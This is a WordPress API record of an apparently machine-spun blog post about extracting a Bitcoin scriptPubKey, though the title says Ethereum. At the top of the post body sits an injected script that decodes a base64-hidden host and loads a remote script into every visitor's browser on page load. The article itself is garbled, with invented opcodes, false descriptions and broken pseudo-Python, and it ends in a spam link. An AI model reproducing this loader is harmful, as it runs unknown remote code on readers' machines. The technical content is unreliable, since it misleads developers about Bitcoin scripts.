{"id":1204,"date":"2025-02-08T11:32:37","date_gmt":"2025-02-08T11:32:37","guid":{"rendered":"https:\/\/hccmena.com\/?p=1204"},"modified":"2025-02-08T11:32:37","modified_gmt":"2025-02-08T11:32:37","slug":"ethereum-how-do-i-get-the-scriptpubkey-type-from-the-raw-output-script","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/08\/ethereum-how-do-i-get-the-scriptpubkey-type-from-the-raw-output-script\/","title":{"rendered":"Ethereum: How do I get the scriptPubKey type from the raw output script?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=86e804c3\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Degravating raw scriptutput: Scriptpubkey isolation <\/strong><\/p>\n<\/p>\n<p>When receiving transactions from Bitcoin Core using Zeromq, you probably have to deal with the RAW script in JSON format. The &#8220;Script&#8221; field includes the series of the Bitcoin script, which we need to extract &#8220;Scriptpubkey&#8221;. This type represents a public key that can be used for digital signatures and other cryptographic operations.<\/p>\n<\/p>\n<p>In this article, we will go through the way of recovery<\/p>\n<\/p>\n<p><strong> Understanding Bitcoin Scriptformat <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/nRBhoxTZzGM\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>Before immersing in the code, quickly review the Bitcoin script format. &#8220;Script&#8221; field in Bitcoin Core Transations Bitists from the series of the following elements:<\/p>\n<\/p>\n<ul>\n<li><code>Op_dup<\/code>: Duplicate Operand duplicate (in this case value)<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><code>OP_P2PKH<\/code>: specifies that we are dealing with private keys<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><code>OP_D2SH<\/code>: transforms the script into a human reading format<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>&#8230; and so on<\/li>\n<\/ul>\n<\/p>\n<p>The exit of a raw script usually looks like this:<\/p>\n<\/p>\n<p>`<code>Json<\/p>\n<\/p>\n<p>{Value: 200000,<\/p>\n<\/p>\n<p>  Script: <buffer 00 20 E3 30 7E 8E 0B 63 0E 53 C2 F1 F8 17 06 7B CE 01 C4 38 92 83 3E 02 2D AD ...<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p><strong> Scriptoutput decoding <\/strong><\/p>\n<\/p>\n<p>To separate &#8220;Scriptpubkey&#8221;, we must decode the exit of the raw script. We can use the following fragment of Python code as an example:<\/p>\n<\/p>\n<p>&#8220; Python<\/p>\n<\/p>\n<p>Import json<\/p>\n<\/p>\n<p>Def fragment_scriptpubkey (script_output):<\/p>\n<\/p>\n<p>    #Plicz script in individual elements<\/p>\n<\/p>\n<p>    Elements = script_output [&#8216;script&#8217;].<\/p>\n<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p><img decoding=\"async\" alt=\"Ethereum: How do I get the scriptPubKey type from the raw output script?\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/1668dc02.png\"><\/p>\n<p>Initiate the variable scriptpubkey<\/p>\n<\/p>\n<p>    script_pubkey = none<\/p>\n<\/p>\n<\/p>\n<p>    #Eter on each element and try to recreate it as a script signature<\/p>\n<\/p>\n<p>    For the element in the elements:<\/p>\n<\/p>\n<p>        If Element.Startswith (&#8220;OP_DUP&#8221;):<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Separate the value of the duplicate operand (input)<\/p>\n<\/p>\n<p>            Value = int.from_bytes (element [7: 9], Byteregder = &#8220;BIG&#8221;)<\/p>\n<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Check if this is OP_P2PKH instructions with a private key signature<\/p>\n<\/p>\n<p>            If &#8220;P2SH&#8221; in element I &#8220;OP_01&#8221; in the element:<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Separate the public key from the entrance (assuming it is an indexing based on 1)<\/p>\n<\/p>\n<p>                Public_key = int.from_bytes (element [9:16], Bytorer = &#8220;Big&#8221;)<\/p>\n<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Set the Scriptpubkey variable with a separate public key<\/p>\n<\/p>\n<p>                If script_pubkey is not:<\/p>\n<\/p>\n<p>                    script_pubkey = bytes ([public_key])<\/p>\n<\/p>\n<p>                Otherwise:<\/p>\n<\/p>\n<p>                    script_pubkey += bytes ([public_key])<\/p>\n<\/p>\n<p>            Elif &#8220;P2SH&#8221; in element I &#8220;OP_01&#8221; in the element:<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Separate the public key from the entrance (assuming it is an indexing based on 1)<\/p>\n<\/p>\n<p>                Public_key = int.from_bytes (element [9:16], Bytorer = &#8220;Big&#8221;)<\/p>\n<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Set the Scriptpubkey variable with a dummy value for OP_DUP instructions<\/p>\n<\/p>\n<p>                If script_pubkey is not:<\/p>\n<\/p>\n<p>                    script_pubkey = bytes ([public_key])<\/p>\n<\/p>\n<p>                Otherwise:<\/p>\n<\/p>\n<p>                    script_pubkey += bytes ([public_key])<\/p>\n<\/p>\n<p>            Elif &#8220;OP_01&#8221; in the element:<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Separate the public key from the entrance (assuming it is an indexing based on 1)<\/p>\n<\/p>\n<p>                Public_key = int.from_bytes (element [8:16], Bytorer = &#8220;Big&#8221;)<\/p>\n<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Set the Scriptpubkey variable with a dummy value for OP_DUP instructions<\/p>\n<\/p>\n<p>                If script_pubkey is not:<\/p>\n<\/p>\n<p>                    script_pubkey = bytes ([public_key])<\/p>\n<\/p>\n<p>                Otherwise:<\/p>\n<\/p>\n<p>                    script_pubkey += bytes ([public_key])<\/p>\n<\/p>\n<\/p>\n<p>    Return Script_pubkey<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Sample use<\/p>\n<\/p>\n<p>script_output = json.lylads (&#8216;{&#8220;value&#8221;: 200000, &#8220;script&#8221;: &#8220;<buffer 00 20 e3 30 7e 8e 0b 63 0E 53 C2 F8 17 06 7B CE 01 C4 38 92 83 3E 02 2D AD ...\" }} ')<\/p>\n<\/p>\n<p>script_pubkey = wording_scriptpubkey (script_output)<\/p>\n<\/p>\n<p>Print (script_pubkey.<\/p>\n<p><a href=\"https:\/\/seowebxpert.com\/2025\/02\/07\/choosing-the-right-p2p-platform-for-your-crypto-needs\/\">Choosing Right Platform<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Degravating raw scriptutput: Scriptpubkey isolation When receiving transactions from Bitcoin Core using Zeromq, you probably have to deal with the RAW script in JSON format. The &#8220;Script&#8221; field includes the series of the Bitcoin script, which we need to extract &#8220;Scriptpubkey&#8221;. This type represents a public key that can be used for digital signatures and [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1204"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1204"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1204\/revisions"}],"predecessor-version":[{"id":1205,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1204\/revisions\/1205"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1204"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1204"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1204"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}